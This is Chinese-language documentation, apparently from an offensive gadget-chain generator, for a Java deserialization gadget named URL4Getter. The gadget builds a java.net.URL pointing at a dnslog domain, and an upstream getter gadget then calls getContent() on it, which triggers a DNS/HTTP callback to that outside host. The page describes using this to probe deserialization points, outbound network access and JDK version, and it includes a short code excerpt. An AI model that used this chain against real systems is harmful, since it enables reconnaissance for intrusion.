- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
jdk(纯 JDK,无第三方依赖)
提供一个 java.net.URL 对象作为链尾载体:当上游 gadget 对它调用 getContent()(即 content 属性的 getter)时,URL 内部会解析主机并发起一次网络/DNS 请求。用于把「触发一次 getter」这一能力转换为「发起一次带 DNS 的出网探测」,并借 java.net.URL 在高版本 JDK 的行为差异辅助判断 JDK 版本。
- 入口
tags:SpecialPublicMethod、JavaGetter、Getter、Serializable、END。Getter/JavaGetter—— 承接会「对内层对象调用某个 getter」的上一环(如CommonsBeanutils1的BeanComparator、Vaadin1的NestedMethodProperty等)。SpecialPublicMethod—— 触发的是一个指定名字的 public 方法(这里是getContent),需上游按 context 注入的方法名去调用。Serializable、END—— 自身可序列化、且为链尾。
- 衔接
nextTags:无(链尾)。 excludes:无。
public String getterPropertyName = "content";
public String getterMethodName = "getContent";
public Object getObject() throws MalformedURLException {
return new URL("http://" + this.domain);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.getterMethodName);
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.getterPropertyName);
return this.getObject();
}逻辑极简,但设计上是「与上游握手」的典范:
getObject()只是new URL("http://" + domain),返回一个普通URL实例——它本身没有危险方法,危险在于被调用getContent()。URL.getContent()会打开到domain的连接,从而先做一次主机名解析(DNS)再尝试取内容。invoke并不直接触发,而是把两条信息写回GadgetContext:SPECIAL_METHOD_NAME_KEY = "getContent"—— 告诉上游 gadget「请调用这个方法」。GETTER_PARAM_NAME_KEY = "content"—— 若上游是 property/getter 语义的 gadget(如BeanComparator按属性名反射 getter),则用属性名content定位到getContent()。
- 由此,本 gadget 与上游解耦:上游无需硬编码要调哪个方法,从 context 读取即可。这与黄金范例 CommonsBeanutils1 里「
property由下游经GETTER_PARAM_NAME_KEY注入」的机制正好是发送端与接收端的两半。
由于返回值就是原始 URL,序列化时不含恶意字节码,流量上仅表现为一次对 domain 的 DNS/HTTP,故常用于探测反序列化点是否可达、目标是否出网,以及利用 URL 在不同 JDK 下的处理差异做版本旁证。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
domain |
dnslog域名 | 拼成 http://<domain> 作为探测目标 |
xxx.dnslog.cn |
— |
(getterPropertyName、getterMethodName 为固定公开字段,非用户参数。)
- 纯 JDK 实现,无第三方依赖;只要上游能对内层对象触发一个 getter/指定 public 方法即可组合。
- 与 URLDNS 的区别:URLDNS 自带
HashMap触发器(靠readObject → hashCode),是独立完整的 DNS 链;而 URL4Getter 不含触发器,须由上游的 Getter 型 gadget 驱动getContent(),因此更像一个可插拔的「getter 目标」。 - description 提示「使用了 java.net.URL 类,可以用来辅助判断高版本 JDK」——用于探测/指纹,而非直接 RCE。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 上游(提供
Getter/SpecialPublicMethod触发):CommonsBeanutils1、Vaadin1 等 getter 驱动型 gadget。 - 同类探测 sink:URLDNS(自带触发器的 DNS 探测)。